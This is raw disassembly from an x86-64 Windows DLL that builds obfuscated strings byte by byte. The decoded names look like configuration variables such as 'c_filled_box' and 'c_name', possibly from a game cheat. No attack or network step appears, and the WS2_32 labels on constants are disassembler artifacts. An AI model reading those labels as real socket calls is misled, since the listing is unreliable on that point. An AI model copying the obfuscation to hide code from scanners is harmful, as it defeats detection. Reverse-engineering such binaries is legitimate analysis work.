mov byte [rax], bl
inc esi
mov dword [rsp + 0x1330], esi
jmp 0x18007aeb0
lea rcx, [rsp + 0x3b70]
call fcn.18000ce90
mov qword [rsp + 0x25e8], rax
lea r8, [0x1801eaeac]
lea rdx, [rsp + 0x25e8]
lea rcx, [rsp + 0x5ad0]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1c80], xmm0
mov qword [rsp + 0x1c90], rax
mov byte [rsp + 0x1c98], al
mov cl, 0x63
call fcn.1800bfc10
mov byte [rsp + 0xc00], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc10
mov byte [rsp + 0xc01], al
mov cl, 0x78
call fcn.1800bfc10
mov byte [rsp + 0xc02], al
mov cl, 0x3a
call fcn.1800bfc10
mov byte [rsp + 0xc03], al
mov cl, 0x3a
call fcn.1800bfc10
mov byte [rsp + 0xc04], al
mov cl, 0x76
call fcn.1800bfc10
mov byte [rsp + 0xc05], al
mov cl, 0x61
call fcn.1800bfc10
mov byte [rsp + 0xc06], al
mov cl, WSAStartup
call fcn.1800bfc10
mov byte [rsp + 0xc07], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc10
mov byte [rsp + 0xc08], al
mov cl, 0x3a
call fcn.1800bfc10
mov byte [rsp + 0xc09], al
mov cl, 0x3a
call fcn.1800bfc10
mov byte [rsp + 0xc0a], al
mov cl, 0x63
call fcn.1800bfc10
mov byte [rsp + 0xc0b], al
mov cl, 0x5f
call fcn.1800bfc10
mov byte [rsp + 0xc0c], al
mov cl, 0x76
call fcn.1800bfc10
mov byte [rsp + 0xc0d], al
mov cl, 0x65
call fcn.1800bfc10
mov byte [rsp + 0xc0e], al
mov cl, 0x68
call fcn.1800bfc10
mov byte [rsp + 0xc0f], al
mov cl, 0x69
call fcn.1800bfc10
mov byte [rsp + 0xc10], al
mov cl, 0x63
call fcn.1800bfc10
mov byte [rsp + 0xc11], al
mov cl, 0x6c
call fcn.1800bfc10
mov byte [rsp + 0xc12], al
mov cl, 0x65
call fcn.1800bfc10
mov byte [rsp + 0xc13], al
mov cl, 0x5f
call fcn.1800bfc10
mov byte [rsp + 0xc14], al
mov cl, 0x65
call fcn.1800bfc10
mov byte [rsp + 0xc15], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc10
mov byte [rsp + 0xc16], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfc10
mov byte [rsp + 0xc17], al
xor ecx, ecx
call fcn.1800bfc10
mov byte [rsp + 0xc18], al
movups xmm0, xmmword [rsp + 0xc00]
movups xmmword [rsp + 0x1c80], xmm0
movsd xmm1, qword [rsp + 0xc10]
movsd qword [rsp + 0x1c90], xmm1
mov byte [rsp + 0x1c98], al
lea rax, [rsp + 0x1c80]
mov qword [rsp + 0x4940], rax
lea rcx, [rsp + 0x3b50]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x3b50]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x132c], esi
nop
cmp esi, 0x19
jge 0x18007b140
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1c80]
call fcn.1800c0360
movzx ecx, byte [rax]
call fcn.1800bfc10
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3b50]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x132c], esi
jmp 0x18007b100
lea rcx, [rsp + 0x3b50]
call fcn.18000ce90
mov qword [rsp + 0x25c0], rax
lea r8, [0x1801eae94]
lea rdx, [rsp + 0x25c0]
lea rcx, [rsp + 0x5b00]
call fcn.1800c33c0
xor eax, eax
mov qword [rsp + 0xe58], rax
mov dword [rsp + 0xe60], eax
mov word [rsp + 0xe64], ax
mov byte [rsp + 0xe66], al
mov cl, 0x63
call fcn.1800bffd0
mov byte [rsp + 0x88], al
mov cl, 0x75
call fcn.1800bffd0
mov byte [rsp + 0x89], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffd0
mov byte [rsp + 0x8a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bffd0
mov byte [rsp + 0x8b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bffd0
mov byte [rsp + 0x8c], al
mov cl, 0x6d
call fcn.1800bffd0
mov byte [rsp + 0x8d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffd0
mov byte [rsp + 0x8e], al
mov cl, 0x3a
call fcn.1800bffd0
mov byte [rsp + 0x8f], al
mov cl, 0x3a
call fcn.1800bffd0
mov byte [rsp + 0x90], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bffd0
mov byte [rsp + 0x91], al
mov cl, 0x75
call fcn.1800bffd0
mov byte [rsp + 0x92], al
mov cl, WSAStartup
call fcn.1800bffd0
mov byte [rsp + 0x93], al
mov cl, 0x62
call fcn.1800bffd0
mov byte [rsp + 0x94], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bffd0
mov byte [rsp + 0x95], al
xor ecx, ecx
call fcn.1800bffd0
mov byte [rsp + 0x96], al
movsd xmm0, qword [rsp + 0x88]
movsd qword [rsp + 0xe58], xmm0
mov ecx, dword [rsp + 0x90]
mov dword [rsp + 0xe60], ecx
movzx ecx, word [rsp + 0x94]
mov word [rsp + 0xe64], cx
mov byte [rsp + 0xe66], al
lea rax, [rsp + 0xe58]
mov qword [rsp + 0x4948], rax
lea rcx, [rsp + 0x3b30]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0xf]
lea rcx, [rsp + 0x3b30]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1328], esi
cmp esi, 0xf
jge 0x18007b314
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0xe58]
call fcn.1800c0b80
movzx ecx, byte [rax]
call fcn.1800bffd0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3b30]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1328], esi
jmp 0x18007b2d4
lea rcx, [rsp + 0x3b30]
call fcn.18000ce90
mov qword [rsp + 0x25b8], rax
lea r8, [0x1801eaed3]
lea rdx, [rsp + 0x25b8]
lea rcx, [rsp + 0x5b30]
call fcn.1800c33c0
xor eax, eax
mov qword [rsp + 0xf88], rax
mov dword [rsp + 0xf90], eax
mov word [rsp + 0xf94], ax
mov cl, 0x63
call fcn.1800bffc0
mov byte [rsp + 0x78], al
mov cl, 0x75
call fcn.1800bffc0
mov byte [rsp + 0x79], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffc0
mov byte [rsp + 0x7a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bffc0
mov byte [rsp + 0x7b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bffc0
mov byte [rsp + 0x7c], al
mov cl, 0x6d
call fcn.1800bffc0
mov byte [rsp + 0x7d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffc0
mov byte [rsp + 0x7e], al
mov cl, 0x3a
call fcn.1800bffc0
mov byte [rsp + 0x7f], al
mov cl, 0x3a
call fcn.1800bffc0
mov byte [rsp + 0x80], al
mov cl, 0x6c
call fcn.1800bffc0
mov byte [rsp + 0x81], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bffc0
mov byte [rsp + 0x82], al
mov cl, 0x63
call fcn.1800bffc0
mov byte [rsp + 0x83], al
mov cl, 0x6b
call fcn.1800bffc0
mov byte [rsp + 0x84], al
xor ecx, ecx
call fcn.1800bffc0
mov byte [rsp + 0x85], al
movsd xmm0, qword [rsp + 0x78]
movsd qword [rsp + 0xf88], xmm0
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0xf90], eax
movzx eax, word [rsp + 0x84]
mov word [rsp + 0xf94], ax
lea rax, [rsp + 0xf88]
mov qword [rsp + 0x4950], rax
lea rcx, [rsp + 0x3b10]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0xe]
lea rcx, [rsp + 0x3b10]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1324], esi
cmp esi, 0xe
jge 0x18007b4b1
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0xf88]
call fcn.1800c02d0
movzx ecx, byte [rax]
call fcn.1800bffc0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3b10]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1324], esi
jmp 0x18007b471
lea rcx, [rsp + 0x3b10]
call fcn.18000ce90
mov qword [rsp + 0x25b0], rax
lea r8, [0x1801eaed4]
lea rdx, [rsp + 0x25b0]
lea rcx, [rsp + 0x5b60]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1970], xmm0
mov byte [rsp + 0x1980], al
mov cl, 0x63
call fcn.1800bffb0
mov byte [rsp + 0xdb8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bffb0
mov byte [rsp + 0xdb9], al
mov cl, 0x78
call fcn.1800bffb0
mov byte [rsp + 0xdba], al
mov cl, 0x3a
call fcn.1800bffb0
mov byte [rsp + 0xdbb], al
mov cl, 0x3a
call fcn.1800bffb0
mov byte [rsp + 0xdbc], al
mov cl, 0x76
call fcn.1800bffb0
mov byte [rsp + 0xdbd], al
mov cl, 0x61
call fcn.1800bffb0
mov byte [rsp + 0xdbe], al
mov cl, WSAStartup
call fcn.1800bffb0
mov byte [rsp + 0xdbf], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffb0
mov byte [rsp + 0xdc0], al
mov cl, 0x3a
call fcn.1800bffb0
mov byte [rsp + 0xdc1], al
mov cl, 0x3a
call fcn.1800bffb0
mov byte [rsp + 0xdc2], al
mov cl, 0x63
call fcn.1800bffb0
mov byte [rsp + 0xdc3], al
mov cl, 0x5f
call fcn.1800bffb0
mov byte [rsp + 0xdc4], al
mov cl, 0x65
call fcn.1800bffb0
mov byte [rsp + 0xdc5], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffb0
mov byte [rsp + 0xdc6], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bffb0
mov byte [rsp + 0xdc7], al
xor ecx, ecx
call fcn.1800bffb0
mov byte [rsp + 0xdc8], al
movups xmm0, xmmword [rsp + 0xdb8]
movups xmmword [rsp + 0x1970], xmm0
mov byte [rsp + 0x1980], al
lea rax, [rsp + 0x1970]
mov qword [rsp + 0x4958], rax
lea rcx, [rsp + 0x3af0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x11]
lea rcx, [rsp + 0x3af0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1320], esi
cmp esi, 0x11
jge 0x18007b675
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1970]
call fcn.1800c0c60
movzx ecx, byte [rax]
call fcn.1800bffb0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3af0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1320], esi
jmp 0x18007b635
lea rcx, [rsp + 0x3af0]
call fcn.18000ce90
mov qword [rsp + 0x25a8], rax
lea r8, [0x1801eae97]
lea rdx, [rsp + 0x25a8]
lea rcx, [rsp + 0x5b90]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1988], xmm0
mov byte [rsp + 0x1998], al
mov cl, 0x63
call fcn.1800bfc50
mov byte [rsp + 0xdd0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc50
mov byte [rsp + 0xdd1], al
mov cl, 0x78
call fcn.1800bfc50
mov byte [rsp + 0xdd2], al
mov cl, 0x3a
call fcn.1800bfc50
mov byte [rsp + 0xdd3], al
mov cl, 0x3a
call fcn.1800bfc50
mov byte [rsp + 0xdd4], al
mov cl, 0x76
call fcn.1800bfc50
mov byte [rsp + 0xdd5], al
mov cl, 0x61
call fcn.1800bfc50
mov byte [rsp + 0xdd6], al
mov cl, WSAStartup
call fcn.1800bfc50
mov byte [rsp + 0xdd7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc50
mov byte [rsp + 0xdd8], al
mov cl, 0x3a
call fcn.1800bfc50
mov byte [rsp + 0xdd9], al
mov cl, 0x3a
call fcn.1800bfc50
mov byte [rsp + 0xdda], al
mov cl, 0x63
call fcn.1800bfc50
mov byte [rsp + 0xddb], al
mov cl, 0x5f
call fcn.1800bfc50
mov byte [rsp + 0xddc], al
mov cl, 0x62
call fcn.1800bfc50
mov byte [rsp + 0xddd], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfc50
mov byte [rsp + 0xdde], al
mov cl, 0x78
call fcn.1800bfc50
mov byte [rsp + 0xddf], al
xor ecx, ecx
call fcn.1800bfc50
mov byte [rsp + 0xde0], al
movups xmm0, xmmword [rsp + 0xdd0]
movups xmmword [rsp + 0x1988], xmm0
mov byte [rsp + 0x1998], al
lea rax, [rsp + 0x1988]
mov qword [rsp + 0x4960], rax
lea rcx, [rsp + 0x3ad0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x11]
lea rcx, [rsp + 0x3ad0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x131c], esi
nop dword [rax]
cmp esi, 0x11
jge 0x18007b840
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1988]
call fcn.1800c0c60
movzx ecx, byte [rax]
call fcn.1800bfc50
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3ad0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x131c], esi
jmp 0x18007b800
lea rcx, [rsp + 0x3ad0]
call fcn.18000ce90
mov qword [rsp + 0x25a0], rax
lea r8, [0x1801eaec3]
lea rdx, [rsp + 0x25a0]
lea rcx, [rsp + 0x5bc0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2330], xmm0
mov qword [rsp + 0x2340], rax
mov cl, 0x63
call fcn.1800bfc20
mov byte [rsp + 0xab0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfc20
mov byte [rsp + 0xab1], al
mov cl, 0x78
call fcn.1800bfc20
mov byte [rsp + 0xab2], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0xab3], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0xab4], al
mov cl, 0x76
call fcn.1800bfc20
mov byte [rsp + 0xab5], al
mov cl, 0x61
call fcn.1800bfc20
mov byte [rsp + 0xab6], al
mov cl, WSAStartup
call fcn.1800bfc20
mov byte [rsp + 0xab7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfc20
mov byte [rsp + 0xab8], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0xab9], al
mov cl, 0x3a
call fcn.1800bfc20
mov byte [rsp + 0xaba], al
mov cl, 0x63
call fcn.1800bfc20
mov byte [rsp + 0xabb], al
mov cl, 0x5f
call fcn.1800bfc20
mov byte [rsp + 0xabc], al
mov cl, 0x66
call fcn.1800bfc20
mov byte [rsp + 0xabd], al
mov cl, 0x69
call fcn.1800bfc20
mov byte [rsp + 0xabe], al
mov cl, 0x6c
call fcn.1800bfc20
mov byte [rsp + 0xabf], al
mov cl, 0x6c
call fcn.1800bfc20
mov byte [rsp + 0xac0], al
mov cl, 0x65
call fcn.1800bfc20
mov byte [rsp + 0xac1], al
mov cl, 0x64
call fcn.1800bfc20
mov byte [rsp + 0xac2], al
mov cl, 0x5f
call fcn.1800bfc20
mov byte [rsp + 0xac3], al
mov cl, 0x62
call fcn.1800bfc20
mov byte [rsp + 0xac4], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfc20
mov byte [rsp + 0xac5], al
mov cl, 0x78
call fcn.1800bfc20
mov byte [rsp + 0xac6], al
xor ecx, ecx
call fcn.1800bfc20
mov byte [rsp + 0xac7], al
movups xmm0, xmmword [rsp + 0xab0]
movups xmmword [rsp + 0x2330], xmm0
movsd xmm1, qword [rsp + 0xac0]
movsd qword [rsp + 0x2340], xmm1
lea rax, [rsp + 0x2330]
mov qword [rsp + 0x4968], rax
lea rcx, [rsp + 0x3ab0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x3ab0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1314], esi
cmp esi, 0x18
jge 0x18007ba72
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2330]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800bfc20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3ab0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1314], esi
jmp 0x18007ba32
lea rcx, [rsp + 0x3ab0]
call fcn.18000ce90
mov qword [rsp + 0x2598], rax
lea r8, [0x1801eae8f]
lea rdx, [rsp + 0x2598]
lea rcx, [rsp + 0x5bf0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e70], xmm0
mov qword [rsp + 0x1e80], rax
mov word [rsp + 0x1e88], ax
mov cl, 0x63
call fcn.1800c00c0
mov byte [rsp + 0x3f0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c00c0
mov byte [rsp + 0x3f1], al
mov cl, 0x78
call fcn.1800c00c0
mov byte [rsp + 0x3f2], al
mov cl, 0x3a
call fcn.1800c00c0
mov byte [rsp + 0x3f3], al
mov cl, 0x3a
call fcn.1800c00c0
mov byte [rsp + 0x3f4], al
mov cl, 0x76
call fcn.1800c00c0
mov byte [rsp + 0x3f5], al
mov cl, 0x61
call fcn.1800c00c0
mov byte [rsp + 0x3f6], al
mov cl, WSAStartup
call fcn.1800c00c0
mov byte [rsp + 0x3f7], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c00c0
mov byte [rsp + 0x3f8], al
mov cl, 0x3a
call fcn.1800c00c0
mov byte [rsp + 0x3f9], al
mov cl, 0x3a
call fcn.1800c00c0
mov byte [rsp + 0x3fa], al
mov cl, 0x63
call fcn.1800c00c0
mov byte [rsp + 0x3fb], al
mov cl, 0x5f
call fcn.1800c00c0
mov byte [rsp + 0x3fc], al
mov cl, 0x65
call fcn.1800c00c0
mov byte [rsp + 0x3fd], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c00c0
mov byte [rsp + 0x3fe], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800c00c0
mov byte [rsp + 0x3ff], al
mov cl, 0x5f
call fcn.1800c00c0
mov byte [rsp + 0x400], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800c00c0
mov byte [rsp + 0x401], al
mov cl, 0x75
call fcn.1800c00c0
mov byte [rsp + 0x402], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c00c0
mov byte [rsp + 0x403], al
mov cl, 0x6c
call fcn.1800c00c0
mov byte [rsp + 0x404], al
mov cl, 0x69
call fcn.1800c00c0
mov byte [rsp + 0x405], al
mov cl, WSAGetLastError
call fcn.1800c00c0
mov byte [rsp + 0x406], al
mov cl, 0x65
call fcn.1800c00c0
mov byte [rsp + 0x407], al
mov cl, 0x64
call fcn.1800c00c0
mov byte [rsp + 0x408], al
xor ecx, ecx
call fcn.1800c00c0
mov byte [rsp + 0x409], al
movups xmm0, xmmword [rsp + 0x3f0]
movups xmmword [rsp + 0x1e70], xmm0
movsd xmm1, qword [rsp + 0x400]
movsd qword [rsp + 0x1e80], xmm1
movzx eax, word [rsp + 0x408]
mov word [rsp + 0x1e88], ax
lea rax, [rsp + 0x1e70]
mov qword [rsp + 0x4970], rax
lea rcx, [rsp + 0x3a90]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x3a90]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1310], esi
cmp esi, 0x1a
jge 0x18007bcd8
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1e70]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800c00c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3a90]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1310], esi
jmp 0x18007bc98
lea rcx, [rsp + 0x3a90]
call fcn.18000ce90
mov qword [rsp + 0x2578], rax
lea r8, [0x1801eaeb9]
lea rdx, [rsp + 0x2578]
lea rcx, [rsp + 0x5c20]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1b58], xmm0
mov word [rsp + 0x1b68], ax
mov cl, 0x63
call fcn.1800bfee0
mov byte [rsp + 0x6c8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfee0
mov byte [rsp + 0x6c9], al
mov cl, 0x78
call fcn.1800bfee0
mov byte [rsp + 0x6ca], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x6cb], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x6cc], al
mov cl, 0x76
call fcn.1800bfee0
mov byte [rsp + 0x6cd], al
mov cl, 0x61
call fcn.1800bfee0
mov byte [rsp + 0x6ce], al
mov cl, WSAStartup
call fcn.1800bfee0
mov byte [rsp + 0x6cf], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfee0
mov byte [rsp + 0x6d0], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x6d1], al
mov cl, 0x3a
call fcn.1800bfee0
mov byte [rsp + 0x6d2], al
mov cl, 0x63
call fcn.1800bfee0
mov byte [rsp + 0x6d3], al
mov cl, 0x5f
call fcn.1800bfee0
mov byte [rsp + 0x6d4], al
mov cl, WSAGetLastError
call fcn.1800bfee0
mov byte [rsp + 0x6d5], al
mov cl, 0x61
call fcn.1800bfee0
mov byte [rsp + 0x6d6], al
mov cl, 0x6d
call fcn.1800bfee0
mov byte [rsp + 0x6d7], al
mov cl, 0x65
call fcn.1800bfee0
mov byte [rsp + 0x6d8], al
xor ecx, ecx
call fcn.1800bfee0
mov byte [rsp + 0x6d9], al
movups xmm0, xmmword [rsp + 0x6c8]
movups xmmword [rsp + 0x1b58], xmm0
movzx eax, word [rsp + 0x6d8]
mov word [rsp + 0x1b68], ax
lea rax, [rsp + 0x1b58]
mov qword [rsp + 0x4978], rax
lea rcx, [rsp + 0x3a70]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x12]
lea rcx, [rsp + 0x3a70]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x130c], esi
cmp esi, 0x12
jge 0x18007beb4
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1b58]
call fcn.1800c0c40
movzx ecx, byte [rax]
call fcn.1800bfee0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3a70]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x130c], esi
jmp 0x18007be74
lea rcx, [rsp + 0x3a70]
call fcn.18000ce90
mov qword [rsp + 0x2570], rax
lea r8, [0x1801eae84]
lea rdx, [rsp + 0x2570]
lea rcx, [rsp + 0x5c50]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2030], xmm0
mov dword [rsp + 0x2040], eax
mov cl, 0x63
call fcn.1800bff50
mov byte [rsp + 0x930], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff50
mov byte [rsp + 0x931], al
mov cl, 0x78
call fcn.1800bff50
mov byte [rsp + 0x932], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x933], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x934], al
mov cl, 0x76
call fcn.1800bff50
mov byte [rsp + 0x935], al
mov cl, 0x61
call fcn.1800bff50
mov byte [rsp + 0x936], al
mov cl, WSAStartup
call fcn.1800bff50
mov byte [rsp + 0x937], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff50
mov byte [rsp + 0x938], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x939], al
mov cl, 0x3a
call fcn.1800bff50
mov byte [rsp + 0x93a], al
mov cl, 0x63
call fcn.1800bff50
mov byte [rsp + 0x93b], al
mov cl, 0x5f
call fcn.1800bff50
mov byte [rsp + 0x93c], al
mov cl, 0x77
call fcn.1800bff50
mov byte [rsp + 0x93d], al
mov cl, 0x65
call fcn.1800bff50
mov byte [rsp + 0x93e], al
mov cl, 0x61
call fcn.1800bff50
mov byte [rsp + 0x93f], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bff50
mov byte [rsp + 0x940], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bff50
mov byte [rsp + 0x941], al
mov cl, WSAGetLastError
call fcn.1800bff50
mov byte [rsp + 0x942], al
xor ecx, ecx
call fcn.1800bff50
mov byte [rsp + 0x943], al
movups xmm0, xmmword [rsp + 0x930]
movups xmmword [rsp + 0x2030], xmm0
mov eax, dword [rsp + 0x940]
mov dword [rsp + 0x2040], eax
lea rax, [rsp + 0x2030]
mov qword [rsp + 0x4980], rax
lea rcx, [rsp + 0x3a50]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x3a50]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1308], esi
nop dword [rax]
cmp esi, 0x14
jge 0x18007c0b0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2030]
call fcn.1800c0c20
movzx ecx, byte [rax]
call fcn.1800bff50
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3a50]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1308], esi
jmp 0x18007c070
lea rcx, [rsp + 0x3a50]
call fcn.18000ce90
mov qword [rsp + 0x2560], rax
lea r8, [0x1801eaebd]
lea rdx, [rsp + 0x2560]
lea rcx, [rsp + 0x5c80]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1940], xmm0
mov dword [rsp + 0x1950], eax
mov word [rsp + 0x1954], ax
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0xc8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0xc9], al
mov cl, 0x78
call fcn.1800bfe20
mov byte [rsp + 0xca], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xcb], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xcc], al
mov cl, 0x76
call fcn.1800bfe20
mov byte [rsp + 0xcd], al
mov cl, 0x61
call fcn.1800bfe20
mov byte [rsp + 0xce], al
mov cl, WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0xcf], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0xd0], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xd1], al
mov cl, 0x3a
call fcn.1800bfe20
mov byte [rsp + 0xd2], al
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0xd3], al
mov cl, 0x5f
call fcn.1800bfe20
mov byte [rsp + 0xd4], al
mov cl, 0x64
call fcn.1800bfe20
mov byte [rsp + 0xd5], al
mov cl, 0x69
call fcn.1800bfe20
mov byte [rsp + 0xd6], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe20
mov byte [rsp + 0xd7], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe20
mov byte [rsp + 0xd8], al
mov cl, 0x61
call fcn.1800bfe20
mov byte [rsp + 0xd9], al
mov cl, WSAGetLastError
call fcn.1800bfe20
mov byte [rsp + 0xda], al
mov cl, 0x63
call fcn.1800bfe20
mov byte [rsp + 0xdb], al
mov cl, 0x65
call fcn.1800bfe20
mov byte [rsp + 0xdc], al
xor ecx, ecx
call fcn.1800bfe20
mov byte [rsp + 0xdd], al
movups xmm0, xmmword [rsp + 0xc8]
movups xmmword [rsp + 0x1940], xmm0
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x1950], eax
movzx eax, word [rsp + 0xdc]
mov word [rsp + 0x1954], ax
lea rax, [rsp + 0x1940]
mov qword [rsp + 0x4988], rax
lea rcx, [rsp + 0x3a30]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x3a30]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1304], esi
nop dword [rax]
cmp esi, 0x16
jge 0x18007c2e0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1940]
call fcn.1800c0a30
movzx ecx, byte [rax]
call fcn.1800bfe20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3a30]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1304], esi
jmp 0x18007c2a0
lea rcx, [rsp + 0x3a30]
call fcn.18000ce90
mov qword [rsp + 0x2558], rax
lea r8, [0x1801eae8c]
lea rdx, [rsp + 0x2558]
lea rcx, [rsp + 0x5cb0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1b88], xmm0
mov word [rsp + 0x1b98], ax
mov cl, 0x63
call fcn.1800bfcc0
mov byte [rsp + 0x6b0], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfcc0
mov byte [rsp + 0x6b1], al
